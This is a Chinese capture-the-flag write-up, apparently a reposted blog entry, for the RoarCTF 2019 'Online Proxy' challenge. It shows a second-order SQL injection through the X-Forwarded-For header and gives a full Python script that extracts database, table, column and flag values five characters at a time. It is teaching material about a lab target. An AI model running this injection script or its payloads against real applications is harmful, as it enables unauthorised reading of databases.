[RoarCTF 2019Online Proxy]sql巧妙盲注

news2024/11/15 22:27:03

文章目录

    • [RoarCTF 2019Online Proxy]sql巧妙盲注
      • 解题
      • 脚本
        • 脚本解析

[RoarCTF 2019Online Proxy]sql巧妙盲注

解题

在源代码界面发现:Current Ip

image-20230809221921490

我们会联想到:X-Forwarded-For来修改ip:

image-20230809222053377

结果我们发现,response会讲Last Ip回显出来,并且我们使用dirsearch扫描到了db.php

image-20230809222306594

我们自然会联想到数据库。当我们使用X-Forwarded-For请求的时候,会将上一次的值回显在Last Ip

这里应该是存在sql注入的。

如果我们传递一个sql进入XFF中,然后第二次随便输入一个值,将sql存入数据库,第三次再输入同一个值,就会发生sql查询,将之前的sql语句查询出来,造成二次注入

我们验证可以使用单引号闭合

第一次XFF:0’ or '114514 ,第二次:leekos, 第三次:leekos

在第三次就会查询出114514

脚本

所以我们就需要编写脚本了:

import requests

url = "http://node4.buuoj.cn:27640/"
def execsql(sql):
    result = ""
    payload = "0'|length(("+sql+"))|'0"
    session = requests.session()
    r = session.get(url,headers={'X-Forwarded-For':payload})
    r = session.get(url,headers={'X-Forwarded-For':'leekos'})
    r = session.get(url,headers={'X-Forwarded-For':'leekos'})
    start = r.text.find("Last Ip: ") + 9
    end = r.text.find(" -->",start)
    length = int(r.text[start:end])
    print("[+]长度:"+str(length))

    for i in range(1,length+1,5): # 1次查5个字符,妙
        payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i)
        r = session.get(url, headers={'X-Forwarded-For': payload})
        r = session.get(url, headers={'X-Forwarded-For': 'leekos'})
        r = session.get(url, headers={'X-Forwarded-For': 'leekos'})
        start = r.text.find("Last Ip: ") + 9
        end = r.text.find(" -->", start)
        res = int(r.text[start:end])
        result += bytes.fromhex(hex(res)[2:]).decode("utf-8")
        print(result)

    return result



# print("数据库名:" + execsql("select group_concat(schema_name) from information_schema.schemata"))
# print("表名:" + execsql("select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'"))
# print("列名:" + execsql("select group_concat(column_name) from information_schema.columns where table_name = 'F4l9_t4b1e' and table_schema='F4l9_D4t4B45e'"))
print("flag:" + execsql("select group_concat(`F4l9_C01uMn`) from F4l9_D4t4B45e.F4l9_t4b1e"))

脚本解析

这个脚本非常的巧妙,与我之前接触的脚本不同,这个脚本可以通过盲注,一次查询多个字符

原理就是将字符串转为16进制,再转为10进制,读出来,最后重新将10进制转为16进制,最后转为字符串,利用的就是

字符串与16进制之间的转化

举个例子:

hex('abc')=616263 ,然后通过sql函数conv(hex('abc'),16,10) = 6382179 将abc的16进制转为10进制

在sql中16进制可以自动转为字符串:

image-20230809224024056

这种做法大大提高了查询的速度!

bytes.fromhex() 这个函数是将16进制数字转为字节,然后decode()解码为字符

整个脚本的重点就是如下:

payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i)

res = int(r.text[start:end])
result += bytes.fromhex(hex(res)[2:]).decode("utf-8")

首先通过sql查询,将部分结果拿出,然后转为16进制,再转为10进制

然后将requests的返回结果取出,转为16进制,最后转为字符

这样实现了一次查询多个字符

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/854976.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于协同过滤的电影推荐

基于协同过滤的推荐算法综述 - 知乎 (zhihu.com) # -*- coding: gbk -*- import pandas as pd_userID 1#电影评分排序 ratings pd.read_csv(ml-latest-small/ratings.csv) #打印前20行 #print(ratings.head(10))#电影所属类别 movies pd.read_csv(ml-latest-small/movies.cs…

怎么做思维导图?试试这种绘制方法

怎么做思维导图?思维导图是一种非常实用的工具,可以帮助我们更好地整理思路、总结知识和规划方案。但是传统的手绘或电脑软件绘制思维导图的方法需要一定的时间和技能,对于想要快速制作思维导图的人来说可能不太方便。下面就给大家介绍一种在…

如何测试Linux磁盘的读写速度

在Linux系统中也有很多命令可以测试硬盘的读写速度指标。以下是几个常用命令(注意:在执行测试命令之前,请务必备份数据以避免数据丢失! 1、dd 命令 首先挂载磁盘 mount /dev/sdb /testdd 命令可用于进行硬盘读写速度测试。 例…

idea在控制台中输出文字显示乱码

VM options中加入下面这行 -Dfile.encodingutf-8

leetcode27—移除元素

思路: 参考26题目双指针的思想,只不过这道题不是快慢指针。 看到示例里面数组是无序的,也就是说后面的元素也是可能跟给定 val值相等的,那么怎么处理呢。就想到了从前往后遍历,如果left对应的元素 val时&#xff0c…

每日汇评:在50日移动均线下方,黄金的下行势

1、在美国周三公布通胀数据之前,金价可能会有所回升; 2、对中国通缩的担忧可能会限制金价反弹; 3、在每日技术面看跌的背景下,黄金价格仍处于“反弹后卖出”的状态; 金价从周二创下的一个月新低1923 美元开始大幅反…

go-zero 是如何实现计数器限流的?

原文链接: 如何实现计数器限流? 上一篇文章 go-zero 是如何做路由管理的? 介绍了路由管理,这篇文章来说说限流,主要介绍计数器限流算法,具体的代码实现,我们还是来分析微服务框架 go-zero 的源…

com.alibaba.fastjson.JSONObject循环给同一对象赋值会出现“$ref“:“$[0]“现象问题

文章目录 1、问题介绍2、如何解决fastjson中$ref对象重复引用问题3、举例说明 1、问题介绍 有些场景下,我们会选择用JSONObject代替Map来处理业务逻辑,但是使用JSONObject时有一个需要注意的地方:在处理JSONObject对象时,引用的c…

SpringBoot基础之注册Servlet三大组件

文章目录 前言一、介绍二、注入Bean2.1.ServletRegistrationBean2.2.FilterRegistrationBean2.3.ServletListenerRegistrationBean 三.演示结果总结 前言 本文章将介绍SpringBoot注册Servlet的三大组件 一、介绍 由于SpringBoot默认是以jar包的方式运行嵌入式Servlet容器来启…

【LangChain学习】基于PDF文档构建问答知识库(二)创建项目

这里我们使用到 fastapi 作为项目的web框架,它是一个快速(高性能)的 web 框架,上手简单。 一.创建 FastAPI 项目 我们在IDE中,左侧选择 FastAPI ,右侧选择创建一个新的虚拟环境。 创建成功,会有…

UNIQUE VISION Programming Contest 2023 Summer(AtCoder Beginner Contest 312)D题题解

文章目录 [Count Bracket Sequences](https://atcoder.jp/contests/abc312/tasks/abc312_d)问题建模问题分析1.分析合法括号字符串的特点2.从集合角度分析字符串每个字符的作用代码 Count Bracket Sequences 问题建模 给定一个字符串,字符串内仅有3种字符&#xff…

期权定价模型系列【1】—BSM通用式模型

这是期权定价模型专栏的第一篇文章,此专栏旨在分享一些期权定价模型,将会从最基础的BSM模型开始写起,逐步扩散到蒙特卡洛模拟、二叉树等数值法模型,以及跳跃扩散模型、随机波动率模型,神经网络模型等等。 如果你觉得有…

[OnWork.Tools]系列 05-系统工具

简介 系统工具主要是将Window常用工具的快捷启动的集合 双击快速启动 计算器,记事本,截图,画图工具 控制面板,服务管理,关闭显示器,关机 启动文件夹,我的电脑,管理工具 右键菜单 添加快捷方式到桌面

外卖点餐小程序开源源码——支持扫码点餐

一套支持店内扫码点餐、外卖点餐配送于一体的餐饮系统,支持商家创建优惠券,支持商家自定义打印机功能,支持商家财务管理,支持商户菜品管理,支持菜品自定义分类,支持商家招募骑手入驻功能。系统基于thinkphp…

类与对象【下】

欢迎来到Cefler的博客😁 🕌博客主页:那个传说中的man的主页 🏠个人专栏:题目解析 🌎推荐文章:题目大解析2 目录 👉🏻初始化列表初始化列表注意点 👉&#x1f…

LinearAlgebraMIT_7_Ax=0

上节课讲了向量子空间中的列空间和零空间,这节课来讲零空间的(Special solutions)特解,也就是Ax0的特解。在求解特解的核心便是使用消元法求得(row echelon form)阶梯矩阵或者(reduced row echelon form/RREF)最简矩阵。 我们接下来举一个例子&#xff…

Android使用kotlin+协程+room数据库的简单应用

前言:一般主线程(UI线程)中是不能执行创建数据这些操作的,因为等待时间长。所以协程就是为了解决这个问题出现。 第一步:在模块级的build.gradle中引入 id com.android.application// roomid kotlin-androidid kotlin…

亚马逊第三方卖家服务收入已达自营81%

据MarketplacePulse最新报道,亚马逊在第三方卖家服务上的收入,已经达到相当于其自营业务81%的规模。 佣金、物流费用以及广告构成了亚马逊整个第三方卖家服务。亚马逊最新发布的第二季度财报显示,亚马逊在包括销售佣金、物流费用的第三方卖…

2023河南萌新联赛第(五)场:郑州轻工业大学 --Kruskal

题目描述 给定一张nnn个点的无向完全图,其中两点之间的路径边权为两点编号的按位与(编号为 (1,2,...,n)(1,2,...,n)(1,2,...,n)),即w(u,v)u&v(1≤u,v≤n)w\left(u, v \right )u\&v \left( 1 \le u, v \le n \right)w(u,v…